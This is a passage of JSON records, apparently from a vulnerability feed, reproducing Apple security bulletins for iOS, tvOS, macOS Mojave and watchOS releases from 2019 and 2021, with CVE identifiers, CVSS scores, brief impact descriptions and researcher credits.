assistance.\n\nEntry updated September 17, 2019\n\n\n\nInstalling macOS Mojave 10.14.6 Supplemental Update updates the build number of macOS to 18G95. This build contains the security content described in this article. If you updated to macOS Mojave 10.14.6 and your macOS build is not 18G95, make sure you also install the Supplemental Update. \n\nLearn how to [find the macOS version and build number on your Mac](<https://support.apple.com/kb/HT201260>).\n\nLearn how to [update the software on your Mac](<https://support.apple.com/kb/HT201541>).\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:05:09", "title": "About the security content of macOS Mojave 10.14.6 Supplemental Update - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:05:09", "id": "APPLE:HT210548", "href": "https://support.apple.com/kb/HT210548", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:33", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:06:38", "title": "About the security content of iOS 12.4.1 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:06:38", "id": "APPLE:HT210549", "href": "https://support.apple.com/kb/HT210549", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:58", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:03:47", "title": "About the security content of tvOS 12.4.1 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:03:47", "id": "APPLE:HT210550", "href": "https://support.apple.com/kb/HT210550", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:13:57", "description": "# About the security content of iOS 12.4.1\n\nThis document describes the security content of iOS 12.4.1.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-08-26T00:00:00", "type": "apple", "title": "About the security content of iOS 12.4.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T00:00:00", "id": "APPLE:1E452AB09BD018501C8ED03BD6811E97", "href": "https://support.apple.com/kb/HT210549", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-10T17:00:01", "description": "# About the security content of tvOS 12.4.1\n\nThis document describes the security content of tvOS 12.4.1\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-08-26T00:00:00", "type": "apple", "title": "About the security content of tvOS 12.4.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T00:00:00", "id": "APPLE:466BEDED69CFA24057993B0F7E611178", "href": "https://support.apple.com/kb/HT210550", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T22:02:26", "description": "# About the security content of iOS 15.0.2 and iPadOS 15.0.2\n\nThis document describes the security content of iOS 15.0.2 and iPadOS 15.0.2.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 15.0.2 and iPadOS 15.0.2\n\nReleased October 11, 2021\n\n**Game Center**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to access information about a user's contacts\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30895: Denis Tokarev (@illusionofcha0s)\n\nEntry added October 25, 2021\n\n**Game Center**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to read user's gameplay data\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30896: Denis Tokarev (@illusionofcha0s)\n\nEntry added October 25, 2021\n\n**IOMobileFrameBuffer**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2021-30883: an anonymous researcher\n\n\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: October 26, 2021\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-11T00:00:00", "type": "apple", "title": "About the security content of iOS 15.0.2 and iPadOS 15.0.2", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30883", "CVE-2021-30895", "CVE-2021-30896"], "modified": "2021-10-11T00:00:00", "id": "APPLE:09ADD2292B0E01A1FC495FFDDD910A90", "href": "https://support.apple.com/kb/HT212846", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T22:02:25", "description": "# About the security content of iOS 14.8.1 and iPadOS 14.8.1\n\nThis document describes the security content of iOS 14.8.1 and iPadOS 14.8.1.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 14.8.1 and iPadOS 14.8.1\n\nReleased October 26, 2021\n\n**Audio**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: An integer overflow was addressed through improved input validation.\n\nCVE-2021-30907: Zweig of Kunlun Lab\n\n**ColorSync**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: A memory corruption issue in the processing of ICC profiles was addressed with improved input validation.\n\nCVE-2021-30926: Jeremy Brown\n\nEntry added May 25, 2022\n\n**ColorSync**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: A memory corruption issue existed in the processing of ICC profiles. This issue was addressed with improved input validation.\n\nCVE-2021-30917: Alexandru-Vlad Niculae and Mateusz Jurczyk of Google Project Zero\n\n**Continuity Camera**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: An uncontrolled format string issue was addressed with improved input validation.\n\nCVE-2021-30903: Gongyu Ma of Hangzhou Dianzi University\n\nEntry updated May 25, 2022\n\n**CoreGraphics**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted PDF may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-30919\n\n**GPU Drivers**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-30900: Yinyi Wu (@3ndy1) of Ant Security Light-Year Lab\n\n**IOMobileFrameBuffer**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2021-30883: an anonymous researcher\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2021-30909: Zweig of Kunlun Lab\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2021-30916: Zweig of Kunlun Lab\n\n**Sidecar**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30903: an anonymous researcher\n\n**Status Bar**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A user may be able to view restricted content from the Lock Screen\n\nDescription: A Lock Screen issue was addressed with improved state management.\n\nCVE-2021-30918: videosdebarraquito\n\n**Voice Control**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-30902: 08Tc3wBB of ZecOps Mobile EDR Team\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious website using Content Security Policy reports may be able to leak information via redirect behavior \n\nDescription: An information leakage issue was addressed.\n\nCVE-2021-30888: Prakash (@1lastBr3ath)\n\n\n\n## Additional recognition\n\n**WebKit**\n\nWe would like to acknowledge Ivan Fratric of Google Project Zero for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: May 25, 2022\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-26T00:00:00", "type": "apple", "title": "About the security content of iOS 14.8.1 and iPadOS 14.8.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30883", "CVE-2021-30888", "CVE-2021-30900", "CVE-2021-30902", "CVE-2021-30903", "CVE-2021-30907", "CVE-2021-30909", "CVE-2021-30916", "CVE-2021-30917", "CVE-2021-30918", "CVE-2021-30919", "CVE-2021-30926"], "modified": "2021-10-26T00:00:00", "id": "APPLE:1CEBBC700FA0246151721568A403C4AB", "href": "https://support.apple.com/kb/HT212868", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T22:02:27", "description": "# About the security content of watchOS 8.1\n\nThis document describes the security content of watchOS 8.1.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 8.1\n\nReleased October 25, 2021\n\n**Audio**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: An integer overflow was addressed through improved input validation.\n\nCVE-2021-30907: Zweig of Kunlun Lab\n\n**ColorSync**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: A memory corruption issue existed in the processing of ICC profiles. This issue was addressed with improved input validation.\n\nCVE-2021-30917: Alexandru-Vlad Niculae and Mateusz Jurczyk of Google Project Zero\n\n**Continuity Camera**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: An uncontrolled format string issue was addressed with improved input validation.\n\nCVE-2021-30903: Gongyu Ma of Hangzhou Dianzi University\n\nEntry added May 25, 2022 \n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted file may disclose user information\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30905: Mickey Jin (@patch1t) of Trend Micro\n\n**CoreGraphics**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted PDF may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-30919\n\n**FileProvider**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to bypass Privacy preferences\n\nDescription: A permissions issue was addressed with improved validation.\n\nCVE-2021-31007: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added March 31, 2022, updated May 25, 2022 \n\n**FileProvider**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Unpacking a maliciously crafted archive may lead to arbitrary code execution\n\nDescription: An input validation issue was addressed with improved memory handling.\n\nCVE-2021-30881: Simon Huang (@HuangShaomang) and pjf of IceSword Lab of Qihoo 360\n\n**Game Center**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to access information about a user's contacts\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30895: Denis Tokarev (@illusionofcha0s)\n\nEntry updated May 25, 2022 \n\n**Game Center**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to read user's gameplay data\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30896: Denis Tokarev (@illusionofcha0s)\n\nEntry updated May 25, 2022 \n\n**iCloud**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30906: Cees Elzinga\n\n**IOMobileFrameBuffer**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2021-30883: an anonymous researcher\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker can cause a device to unexpectedly restart\n\nDescription: A denial of service issue was addressed with improved state handling.\n\nCVE-2021-30924: Elaman Iskakov (@darling_x0r) of Effective and Alexey Katkov (@watman27)\n\nEntry added January 19, 2022\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-30886: @0xalsr\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2021-30909: Zweig of Kunlun Lab\n\n**UIKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A person with physical access to a device may be able to determine characteristics of a user's password in a secure text entry field\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30915: Kostas Angelopoulos\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to code execution\n\nDescription: A type confusion issue was addressed with improved memory handling.\n\nCVE-2021-31008: an anonymous researcher\n\nEntry added March 31, 2022, updated May 25, 2022 \n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to unexpectedly unenforced Content Security Policy\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30887: Narendra Bhati (@imnarendrabhati) of Suma Soft Pvt. Ltd.\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious website using Content Security Policy reports may be able to leak information via redirect behavior \n\nDescription: An information leakage issue was addressed.\n\nCVE-2021-30888: Prakash (@1lastBr3ath)\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A buffer overflow issue was addressed with improved memory handling.\n\nCVE-2021-30889: Chijin Zhou of ShuiMuYuLin Ltd and Tsinghua wingtecher lab\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30890: an anonymous researcher\n\n\n\n## Additional recognition\n\n**iCloud**\n\nWe would like to acknowledge Ryan Pickren (ryanpickren.com) for their assistance.\n\n**Mail**\n\nWe would like to acknowledge Fabian Ising and Damian Poddebniak of M\u00fcnster University of Applied Sciences for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Ivan Fratric of Google Project Zero, Pavel Gromadchuk, and an anonymous researcher for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: May 25, 2022\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": 